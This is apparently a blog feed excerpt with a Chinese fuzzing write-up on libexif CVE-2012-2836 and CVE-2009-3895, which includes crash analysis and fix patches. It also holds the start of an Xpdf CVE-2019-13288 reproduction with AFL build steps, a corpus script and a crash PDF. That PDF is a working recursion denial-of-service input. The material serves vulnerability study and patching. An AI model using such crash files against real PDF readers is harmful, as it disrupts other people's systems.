&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yezlbj28h.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4clfc6tir1.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可见，我们可以通过控制图片的内部数据信息来控制 &lt;code&gt;memcpy&lt;/code&gt; 的行为，至于具体怎么利用，利用后有什么效果，我就不分析了。直接确定一下 CVE ID，发现这个 &lt;code&gt;CVE-2012-2836&lt;/code&gt; 的描述比较符合我们的分析结果。&lt;/p&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2012-2836&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;CVE-2009-3895&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x000055555556e60f in exif_get_slong (b=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:129
129     return ((b[3] &amp;lt;&amp;lt; 24) | (b[2] &amp;lt;&amp;lt; 16) | (b[1] &amp;lt;&amp;lt; 8) | b[0]);
#0  0x000055555556e60f in exif_get_slong (b=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:129
#1  0x000055555556e49f in exif_get_long (buf=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:156
#2  0x0000555555566026 in exif_entry_fix (e=0x555555593460) at exif-entry.c:189
#3  0x0000555555562d6d in fix_func (e=0x555555593460, data=0x0) at exif-content.c:211
#4  0x0000555555562a13 in exif_content_foreach_entry (content=0x555555593270, func=0x555555562d50 &amp;lt;fix_func&amp;gt;, data=0x0) at exif-content.c:185
#5  0x0000555555562bdc in exif_content_fix (c=0x555555593270) at exif-content.c:225
#6  0x0000555555565481 in fix_func (c=0x555555593270, data=0x0) at exif-data.c:1082
#7  0x00005555555650ca in exif_data_foreach_content (data=0x5555555931e0, func=0x5555555653e0 &amp;lt;fix_func&amp;gt;, user_data=0x0) at exif-data.c:965
#8  0x00005555555643d4 in exif_data_fix (d=0x5555555931e0) at exif-data.c:1087
#9  0x0000555555563886 in exif_data_load_data (data=0x5555555931e0, d_orig=0x555555595980 &quot;&quot;, ds_orig=82) at exif-data.c:826
#10 0x000055555556cbeb in exif_loader_get_data (loader=0x555555593190) at exif-loader.c:368
#11 0x000055555555f75e in main (argc=2, argv=0x7fffffffdbe8) at main.c:438
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接调，调就完了。&lt;/p&gt;
&lt;p&gt;一开始都是差不多的，&lt;code&gt;exif_data_fix&lt;/code&gt; 的作用是将不符合规格的 exif 数据修复，使其符合规范，内部其实就是对 &lt;code&gt;exif_data_foreach_content&lt;/code&gt; 的包装，而 &lt;code&gt;exif_data_foreach_content&lt;/code&gt; 则是对每一个 &lt;em&gt;IFD&lt;/em&gt; 执行指定的函数，这里是 &lt;code&gt;fix_func&lt;/code&gt; ……&lt;/p&gt;
&lt;p&gt;其实我觉得没必要从 main 开始分析，直接从崩溃边界开始分析就好了，所以接下来我会从后往前分析。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5mqzim92.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到，是 rax 无法解引用导致的问题。入口是 &lt;code&gt;exif_entry_fix&lt;/code&gt; 之后的 &lt;code&gt;exif_get_long&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;回溯到调用 &lt;code&gt;exif_get_long&lt;/code&gt; 的函数 &lt;code&gt;exif_entry_fix&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apjdtv699.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们发现这里是一个 for 循环，并且此时的索引是 &lt;code&gt;31440&lt;/code&gt;，巨大无比，显然不正常，而索引范围是 &lt;code&gt;e-&amp;gt;components&lt;/code&gt; 指定的：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1zisxut0p7.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这都十亿多次了，所以问题就是没有验证这个 &lt;em&gt;component&lt;/em&gt; 大小的合法性。此外，这个大小也是攻击者可控的：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yywb0xnz3.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;components&lt;/em&gt; 肯定代表了组件数量，什么东西的组件数量？翻代码，发现是 &lt;code&gt;ExifEntry&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26m0tar13e.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;通过查询 exif 标准 [^1] 我们可知，一个 &lt;code&gt;ExifEntry&lt;/code&gt; 由 &lt;code&gt;Format&lt;/code&gt;，&lt;code&gt;Components&lt;/code&gt; 和 &lt;code&gt;Data&lt;/code&gt; 组成。如果 &lt;em&gt;format&lt;/em&gt; 类型是 &lt;code&gt;unsigned short&lt;/code&gt;，则它代表每个 &lt;em&gt;component&lt;/em&gt; 占用 2 bytes，而 &lt;em&gt;components&lt;/em&gt; 则代表了这样的组件有几个，将它和 &lt;em&gt;format&lt;/em&gt; 相乘即是这一 &lt;em&gt;entry&lt;/em&gt; 总共占用的字节数。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32ii8rjv20.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;所以这里的问题显然就是 &lt;code&gt;e-&amp;gt;components&lt;/code&gt; 很大，而 &lt;code&gt;e-&amp;gt;data&lt;/code&gt; 分配的内存很小，导致 OOB 。而在计算 &lt;code&gt;e-&amp;gt;size = e-&amp;gt;components * exif_format_get_size(e-&amp;gt;format)&lt;/code&gt; 时，如果 &lt;em&gt;components&lt;/em&gt; 特别大也有可能发生溢出，导致最后得到一个特别小的值。如果后续用这个特别小的 &lt;em&gt;size&lt;/em&gt; 去申请内存，就会有申请大小远小于实际需求的问题，写入将直接崩溃或允许执行任意代码。&lt;/p&gt;
&lt;p&gt;定位一下 CVE，发现符合 CVE-2009-3895 的描述。至此，这个 chall 要求的两个 CVE 我们均已找齐，剩下那几个 crashes 和 hang 我就不分析了，懒（&lt;/p&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2009-3895&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Fix&lt;/h1&gt;
&lt;h2&gt;CVE-2012-2836&lt;/h2&gt;
&lt;p&gt;调试发现，这个非法 offset 来自 &lt;code&gt;exif_get_long&lt;/code&gt; 函数，我们深入分析一下它的逻辑。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trkdyugrn.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;首先调用入口是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  case EXIF_TAG_JPEG_INTERCHANGE_FORMAT:
   o = exif_get_long (d + offset + 12 * i + 8,
        data-&amp;gt;priv-&amp;gt;order);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以它是取 &lt;code&gt;d + offset + 12 * i + 8&lt;/code&gt; 这个偏移处的值。查阅文档，我们可知它就是返回一个 &lt;code&gt;uint32_t&lt;/code&gt; 类型，而它内部使用的 &lt;code&gt;exif_get_slong&lt;/code&gt; 会返回一个 &lt;code&gt;int32_t&lt;/code&gt; 类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ExifLong
exif_get_long (const unsigned char *buf, ExifByteOrder order)
{
        return (exif_get_slong (buf, order) &amp;amp; 0xffffffff);
}

ExifSLong
exif_get_slong (const unsigned char *b, ExifByteOrder order)
{
 if (!b) return 0;
        switch (order) {
        case EXIF_BYTE_ORDER_MOTOROLA:
                return ((b[0] &amp;lt;&amp;lt; 24) | (b[1] &amp;lt;&amp;lt; 16) | (b[2] &amp;lt;&amp;lt; 8) | b[3]);
        case EXIF_BYTE_ORDER_INTEL:
                return ((b[3] &amp;lt;&amp;lt; 24) | (b[2] &amp;lt;&amp;lt; 16) | (b[1] &amp;lt;&amp;lt; 8) | b[0]);
        }

 /* Won&apos;t be reached */
 return (0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然通过 &lt;code&gt;&amp;amp; 0xffffffff&lt;/code&gt; 截断处理了整数溢出问题，但是 &lt;code&gt;0xffffffff&lt;/code&gt; 依旧可以表示一个巨大的范围，大概 4 GB？所以问题就在于，它没检查偏移是否合理。&lt;/p&gt;
&lt;p&gt;解决方法很简单，只要将 &lt;code&gt;offset&lt;/code&gt; 限制在 &lt;code&gt;ds&lt;/code&gt; 的范围内即可。&lt;code&gt;ds&lt;/code&gt; 代表了 &lt;em&gt;data size&lt;/em&gt;, 也就是整个图像数据的大小边界。超过 ds 肯定是不对的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    case EXIF_TAG_JPEG_INTERCHANGE_FORMAT:
      o = exif_get_long(d + offset + 12 * i + 8, data-&amp;gt;priv-&amp;gt;order);
+      if (o &amp;gt;= ds) {
+        exif_log(data-&amp;gt;priv-&amp;gt;log, EXIF_LOG_CODE_CORRUPT_DATA, &quot;ExifData&quot;,
+                 &quot;Illegal offset value detected!&quot;);
+        abort();
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CVE-2009-3895&lt;/h2&gt;
&lt;p&gt;分析的时候已经写过问题了，修复方法就是校验 &lt;em&gt;components&lt;/em&gt; 与当前 &lt;em&gt;size&lt;/em&gt; 是否匹配：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  case EXIF_TAG_SHARPNESS:
    switch (e-&amp;gt;format) {
    case EXIF_FORMAT_LONG:
      if (!e-&amp;gt;parent || !e-&amp;gt;parent-&amp;gt;parent)
        break;
+      if (e-&amp;gt;components &amp;lt;= 0 || e-&amp;gt;components &amp;gt; 65535) {
+        exif_entry_log(e, EXIF_LOG_CODE_CORRUPT_DATA,
+                       &quot;Component size is too large!&quot;);
+        abort();
+      }
+      if (e-&amp;gt;size &amp;lt; e-&amp;gt;components * exif_format_get_size(EXIF_FORMAT_LONG)) {
+        exif_entry_log(e, EXIF_LOG_CODE_CORRUPT_DATA,
+                       &quot;Corrupted data size detected!&quot;);
+        abort();
+      };
      o = exif_data_get_byte_order(e-&amp;gt;parent-&amp;gt;parent);
      for (i = 0; i &amp;lt; e-&amp;gt;components; i++)
        exif_set_short(
            e-&amp;gt;data + i * exif_format_get_size(EXIF_FORMAT_SHORT), o,
            (ExifShort)exif_get_long(
                e-&amp;gt;data + i * exif_format_get_size(EXIF_FORMAT_LONG), o));
      e-&amp;gt;format = EXIF_FORMAT_SHORT;
      e-&amp;gt;size = e-&amp;gt;components * exif_format_get_size(e-&amp;gt;format);
      e-&amp;gt;data = exif_entry_realloc(e, e-&amp;gt;data, e-&amp;gt;size);
      exif_entry_log(e, EXIF_LOG_CODE_DEBUG,
                     _(&quot;Tag &apos;%s&apos; was of format &apos;%s&apos; (which is &quot;
                       &quot;against specification) and has been &quot;
                       &quot;changed to format &apos;%s&apos;.&quot;),
                     exif_tag_get_name(e-&amp;gt;tag),
                     exif_format_get_name(EXIF_FORMAT_LONG),
                     exif_format_get_name(EXIF_FORMAT_SHORT));
      break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功修复：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szhpf1sld.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但是发现 rational 类型也有问题，不过直接使用和上面一样的 patch 方案就能解决。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvofrnxvl.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  case EXIF_TAG_FOCAL_LENGTH:
    switch (e-&amp;gt;format) {
    case EXIF_FORMAT_SRATIONAL:
      if (!e-&amp;gt;parent || !e-&amp;gt;parent-&amp;gt;parent)
        break;
+      if (e-&amp;gt;components &amp;lt;= 0 || e-&amp;gt;components &amp;gt; 65535) {
+        exif_entry_log(e, EXIF_LOG_CODE_CORRUPT_DATA,
+                       &quot;Component size is too large!&quot;);
+        abort();
+      }
+      if (e-&amp;gt;size &amp;lt; e-&amp;gt;components * exif_format_get_size(EXIF_FORMAT_LONG)) {
+        exif_entry_log(e, EXIF_LOG_CODE_CORRUPT_DATA,
+                       &quot;Corrupted data size detected!&quot;);
+        abort();
+      };
      o = exif_data_get_byte_order(e-&amp;gt;parent-&amp;gt;parent);
      for (i = 0; i &amp;lt; e-&amp;gt;components; i++) {
        sr = exif_get_srational(
            e-&amp;gt;data + i * exif_format_get_size(EXIF_FORMAT_SRATIONAL), o);
        r.numerator = (ExifLong)sr.numerator;
        r.denominator = (ExifLong)sr.denominator;
        exif_set_rational(
            e-&amp;gt;data + i * exif_format_get_size(EXIF_FORMAT_RATIONAL), o, r);
      }
      e-&amp;gt;format = EXIF_FORMAT_RATIONAL;
      exif_entry_log(e, EXIF_LOG_CODE_DEBUG,
                     _(&quot;Tag &apos;%s&apos; was of format &apos;%s&apos; (which is &quot;
                       &quot;against specification) and has been &quot;
                       &quot;changed to format &apos;%s&apos;.&quot;),
                     exif_tag_get_name(e-&amp;gt;tag),
                     exif_format_get_name(EXIF_FORMAT_SRATIONAL),
                     exif_format_get_name(EXIF_FORMAT_RATIONAL));
      break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也算是在开学前完成了这两个 CVE 的复现，还没懒到啥也不干……&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;p&gt;[^1]: &lt;a href=&quot;https://www.media.mit.edu/pia/Research/deepview/exif.html&quot;&gt;Description of Exif file format&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>CVE-2019-13288: Xpdf</title><link>https://cubeyond.net/posts/fuzz/xpdf-cve-2019-13288/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/xpdf-cve-2019-13288/</guid><description>Infinite recursion via a crafted file.</description><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;CVE-2019-13288&lt;/h1&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2019-13288&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Compile&lt;/h1&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;这里选择的是 &lt;a href=&quot;https://www.xpdfreader.com/old-versions.html&quot;&gt;Xpdf Source Code - xpdf 3.02&lt;/a&gt;，而不是 &lt;em&gt;4.01.01&lt;/em&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -zxvf xpdf-3.02.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;先用 LTO mode 插下桩：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd xpdf-3.02
CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --prefix=&quot;$PWD/install&quot;
make -j`nproc`
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;考虑到插桩后的代码影响调试，所以我们再单独编译一个调试用的版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CC=clang CXX=clang++ CFLAGS=&quot;-O0 -g -gdwarf-4 -fno-inline -fno-builtin -fno-omit-frame-pointer&quot; CXXFLAGS=&quot;$CFLAGS&quot; ./configure --prefix=&quot;$PWD/install-dbg&quot;
make -j`nproc`
make install
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Samples&lt;/h1&gt;
&lt;p&gt;这里我用脚本自动生成一些最小样本，先创建一个 python 虚拟环境，以免搞乱系统环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv .venv
uv pip install reportlab pillow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成样本的脚本如下，使用 &lt;code&gt;uv run python .venv/gen_corpus.py&lt;/code&gt; 运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import os
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from PIL import Image

OUTDIR = &quot;corpus/pdf&quot;
FONT_PATH = &quot;/usr/share/fonts/TTF/Inconsolata-Black.ttf&quot;

os.makedirs(OUTDIR, exist_ok=True)

def path(name):
    return os.path.join(OUTDIR, name)

def gen_image(fname):
    img = Image.new(&quot;RGB&quot;, (32, 32), color=(255, 0, 0))
    img.save(fname, &quot;JPEG&quot;)

def gen_minimal():
    c = canvas.Canvas(path(&quot;id_000000_minimal.pdf&quot;))
    c.drawString(10, 10, &quot;hi&quot;)
    c.save()

def gen_text():
    c = canvas.Canvas(path(&quot;id_000001_text.pdf&quot;))
    for i in range(5):
        c.drawString(50, 800 - i * 20, f&quot;text line {i}&quot;)
    c.save()

def gen_multipage():
    c = canvas.Canvas(path(&quot;id_000002_multipage.pdf&quot;))
    for i in range(5):
        c.drawString(100, 700, f&quot;page {i}&quot;)
        c.showPage()
    c.save()

def gen_image_pdf():
    img_path = path(&quot;tmp.jpg&quot;)
    gen_image(img_path)

    c = canvas.Canvas(path(&quot;id_000003_image.pdf&quot;), pagesize=A4)
    c.drawImage(img_path, 100, 500, width=100, height=100)
    c.save()

    os.remove(img_path)

def gen_font_pdf():
    pdfmetrics.registerFont(TTFont(&quot;FuzzFont&quot;, FONT_PATH))
    c = canvas.Canvas(path(&quot;id_000004_font.pdf&quot;))
    c.setFont(&quot;FuzzFont&quot;, 12)
    c.drawString(100, 700, &quot;font fuzz test&quot;)
    c.save()

def gen_stream_filter():
    # Hand-written PDF: stream + FlateDecode (parser favorite)
    data = b&quot;&quot;&quot;%PDF-1.4
1 0 obj
&amp;lt;&amp;lt; /Type /Catalog /Pages 2 0 R &amp;gt;&amp;gt;
endobj
2 0 obj
&amp;lt;&amp;lt; /Type /Pages /Kids [3 0 R] /Count 1 &amp;gt;&amp;gt;
endobj
3 0 obj
&amp;lt;&amp;lt; /Type /Page /Parent 2 0 R /Contents 4 0 R &amp;gt;&amp;gt;
endobj
4 0 obj
&amp;lt;&amp;lt; /Length 5 /Filter /FlateDecode &amp;gt;&amp;gt;
stream
x\x9c\x03\x00\x00\x00\x00\x01
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000060 00000 n
0000000115 00000 n
0000000175 00000 n
trailer
&amp;lt;&amp;lt; /Root 1 0 R &amp;gt;&amp;gt;
startxref
240
%%EOF
&quot;&quot;&quot;
    with open(path(&quot;id_000005_stream_filter.pdf&quot;), &quot;wb&quot;) as f:
        f.write(data)

def main():
    gen_minimal()
    gen_text()
    gen_multipage()
    gen_image_pdf()
    gen_font_pdf()
    gen_stream_filter()
    print(f&quot;[+] PDF corpus generated in ./{OUTDIR}&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;有了样本之后就可以用下面这个指令开始跑 fuzz 了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;afl-fuzz -i corpus/ -o out/ -s 1337 -- ./install/bin/pdftotext @@ -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑呀跑，刚跑两分钟就出了几个 crashes，然后我去吃了个饭，大概十几分钟，回来一看居然已经有 33 个 crashes 了。简单看了下，发现除了下面这个符合描述的 crash 样本外，还爆出来不少因为其它原因崩溃的 corpus 。不过由于我们的目标是复现 CVE-2019-13288 所描述的漏洞，所以这里只会分析这个递归炸栈的 DoS 攻击样本。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dxe2903a8.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;根据上面的截图，我们不难发现，在执行 &lt;code&gt;Parser::getObj&lt;/code&gt; 时反复使用了 &lt;code&gt;objNum=7, objGen=0&lt;/code&gt; 作为参数，而 &lt;code&gt;Object::fetch&lt;/code&gt; 和 &lt;code&gt;XRef::fetch&lt;/code&gt; 的调用虽然早于 &lt;code&gt;Parser::getObj&lt;/code&gt;，并且也在后续 backtrace 中重复出现，但从名字来看就知道，它们只是用于转发参数的函数，而不是真正创建 / 重入对象的函数，所以，我们应该从 &lt;code&gt;Parser::getObj&lt;/code&gt; 开始分析，暂且认为它是递归环入口。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6t7n4ejoi6.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Parser.cc:94&lt;/code&gt; 下个断点，我们发现它直接进入了 &lt;code&gt;makeStream&lt;/code&gt;，一路 &lt;code&gt;n&lt;/code&gt; 下去，最后进入了 &lt;code&gt;addFilters&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mlhxw0g0.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.13mastwhmk.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;所以 &lt;code&gt;addFilters&lt;/code&gt; 才是递归环的入口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Stream *Stream::addFilters(Object *dict) {
  Object obj, obj2;
  Object params, params2;
  Stream *str;
  int i;

  str = this;
  dict-&amp;gt;dictLookup(&quot;Filter&quot;, &amp;amp;obj);
  if (obj.isNull()) {
    obj.free();
    dict-&amp;gt;dictLookup(&quot;F&quot;, &amp;amp;obj);
  }
  dict-&amp;gt;dictLookup(&quot;DecodeParms&quot;, &amp;amp;params);
  if (params.isNull()) {
    params.free();
    dict-&amp;gt;dictLookup(&quot;DP&quot;, &amp;amp;params);
  }
  if (obj.isName()) {
    str = makeFilter(obj.getName(), str, &amp;amp;params);
  } else if (obj.isArray()) {
    for (i = 0; i &amp;lt; obj.arrayGetLength(); ++i) {
      obj.arrayGet(i, &amp;amp;obj2);
      if (params.isArray())
        params.arrayGet(i, &amp;amp;params2);
      else
        params2.initNull();
      if (obj2.isName()) {
        str = makeFilter(obj2.getName(), str, &amp;amp;params2);
      } else {
        error(getPos(), &quot;Bad filter name&quot;);
        str = new EOFStream(str);
      }
      obj2.free();
      params2.free();
    }
  } else if (!obj.isNull()) {
    error(getPos(), &quot;Bad &apos;Filter&apos; attribute in stream&quot;);
  }
  obj.free();
  params.free();

  return str;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调到 &lt;code&gt;dictLookup(&quot;Filter&quot;, &amp;amp;obj)&lt;/code&gt; 的时候发现，它会去找 &lt;code&gt;(objNum=7, objGen=0)&lt;/code&gt; 的 &lt;em&gt;Dictionary&lt;/em&gt; 有没有 &lt;em&gt;Filter&lt;/em&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8twvl09l.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们的 crash 样本中这个 &lt;em&gt;Indirect Object&lt;/em&gt; 长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%PDF-1.3
% ReportLab Generated PDF document (opensource)
1 0 obj
&amp;lt;&amp;lt;
/F1 2 0 R
&amp;gt;&amp;gt;
endobj
2 0 obj
&amp;lt;&amp;lt;
/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font
&amp;gt;&amp;gt;
endobj
3 0 obj
&amp;lt;&amp;lt;
/Contents 7 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 6 0 R /Resources &amp;lt;&amp;lt;
/Font 1 0 R /Pr~cSet [ /PDF /Text /ImageB /ImageC /ImageI ]
&amp;gt;&amp;gt; /Rotate 0 /Trans &amp;lt;&amp;lt;

&amp;gt;&amp;gt;
  /Type /Page
&amp;gt;&amp;gt;
endobj
4 0 obj
&amp;lt;&amp;lt;
/PageMode /UseNone /Pages 6 0 R /Type /Catalog
&amp;gt;&amp;gt;
endobj
5 0 obj
&amp;lt;&amp;lt;
/Author (anonymous) /CreationDate (D:20260210132607+08&apos;00&apos;) /Creator (anonymous) /erated PDF doModDate (D:20260210132607+08&apos;00&apos;) /Producer (ReportLab PDF Library - \(opensource\))
  /Subject (unspecified) /Title (unti&amp;gt;
endobj
6 0 obj
&amp;lt;&amp;lt;
/Count 1 /Kids [ 3 0 R ] /Type /Pages
&amp;gt;&amp;gt;
endobj
7 0 obj
&amp;lt;&amp;lt;
/Filter [ /ASCII85Decode /FlateDects 7 0 R /Meode ] /Length 87
&amp;gt;&amp;gt;
stream
GapQh0E=F,0U\H3T\pNYT^QKk?tc&amp;gt;IP,;W#U1^23ihPEM_?CW4KISi9!25KZ&quot;c\I79neZ[Kb,ht$3`$^8YHZB~&amp;gt;endstream
endobj
xref
0 8
00 65535 f
000061 00000 n
000092 00000 n
000199 00000 n
000402 00000 n
00 Off00 n
000731 00000 n
000790 00000 n
trailer
&amp;lt;&amp;lt;
/ID
[&amp;lt;a9e650489693d00e7eßßßßßßßßßßßßab1f137a614fa1&amp;gt;&amp;lt;a9e650489693d00e7eab1f137a614fa1&amp;gt;]
% ReportLab genKeywords () /cument -- digest (opensource)

/Info 5 0 R
/Root 4 0 R
/Size 8
&amp;gt;&amp;gt;
startxref
966
%%EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然存在 Dictionary，并且里面是有 Filter 的，所以它会拿到这个 Object 的 Filter，得到一个长度为 4 的 &lt;em&gt;Array&lt;/em&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.491srseb94.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51eo9j7uzd.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这和我们 crash 样本中的内容完美匹配。&lt;/p&gt;
&lt;p&gt;如果对此有疑问的话，可以去看 &lt;a href=&quot;https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandards/pdfreference1.3.pdf&quot;&gt;PDF reference: Adobe portable document format, version 1.3&lt;/a&gt; 。之所以看 v1.3 而不是更新的版本，是因为我们的 crash 样本用的 PDF 规格版本就是 1.3，即 &lt;code&gt;%PDF-1.3&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175wqmxkri.avif&quot;
alt=&quot;&quot;
/&amp;gt;
